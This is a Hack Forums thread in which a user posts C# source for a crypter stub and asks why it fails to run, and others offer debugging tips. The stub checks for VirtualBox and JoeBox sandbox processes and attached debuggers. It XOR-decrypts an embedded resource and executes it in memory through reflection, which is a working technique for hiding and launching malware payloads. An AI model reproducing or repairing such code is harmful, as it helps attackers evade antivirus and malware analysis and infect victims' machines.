

Forum:[Hack Forums](#)

Thread: [C# Stub won't run](#)

Crakxproo - June 20, 2018, 8:35 am

The build is anycpu on codedom:

```
Code using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;
```

```
namespace S2
```

```
{
    [EditorBrowsable(EditorBrowsableState.Never)]
    static class Program
    {

        static Mutex _m;

        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
        static bool VM()
        {
            foreach (Process process in Process.GetProcesses())
            {
                switch (process.ProcessName.ToLower())
                {
                    case "vboxservice.exe":
                        return true;
                    case "joeboxserver.exe":
                        return true;
                    case "joeboxcontrol.exe":
                        return true;
                    case "vboxtray.exe":
                        return true;
                }
            }
            return false;
        }

        public static byte[] XOR(byte[] strng, byte[] key)
        {
            int string_len = strng.Length;
            int key_length = key.Length;
            int i, position;
```

```

    for (i = 0; i < string_len; i++)
    {
        position = i % key_length;
        strng[i] = Convert.ToByte(strng[i] ^ key[position]);
    }
    return strng;
}

[STAThread]
[DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
static void Main()
{
    if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true ||
Debugger.IsAttached == true)
    {
        Environment.Exit(0);
    }
    else
    {
        _m = new Mutex(true, "PERL");

        Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
        Assembly.GetExecutingAssembly()).GetObject("obj"),
Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);
    }
}
}
}
}

```

When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..

the stub was fairly big

even with a small one it does that

Jaguars - June 20, 2018, 11:00 am

You are compromising on the function definition and rooting with same data types

Crakxproo - June 20, 2018, 12:51 pm

(Jun 20, 2018 11:00 AM)Jaguars Wrote: [\[CITE\]](#) You are compromising on the function definition and rooting with same data types

Please explain more on that, like and example

int - June 20, 2018, 1:13 pm

(Jun 20, 2018 11:00 AM)Jaguars Wrote: [\[CITE\]](#) You are compromising on the function definition and rooting with same data types

you are speaking buzzwords to pretend like you know what you are doing

Crakxproo - June 20, 2018, 1:33 pm

(Jun 20, 2018 01:13 PM)Jukeboxhook Wrote: [\[CITE\]](#) you are speaking buzzwords to pretend like you know what you are doing

He's what John shouldnt have called me. a **

(Jun 20, 2018 08:35 AM)Crakxproo Wrote: [\[CITE\]](#) The build is anycpu on codedom:

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                position = i % key_length;
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            }
            return strng;
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- 1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.
- 2) Check if the byte array you are passing to Assembly.Load is valid. Check if the resource is actually there and if the resource name is same.
- 3) Change build to x86 because I assume your file is x86.

Crakxproo - June 21, 2018, 7:08 am

(Jun 21, 2018 06:51 AM)Noxious™ Wrote: [\[CITE\]](#) 1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.

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1. Used .NET only

2. Check out my other thread without the object array

3. Tried x86 it'd give errors without debug message

Electron - June 21, 2018, 1:25 pm

(Jun 21, 2018 07:08 AM)Crakxproo Wrote: [\[CITE\]](#) 1. Used .NET only

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3. Tried x86 it'd give errors without debug message

Open the file in dnSpy. Expand Resources and make a screenshot of it.

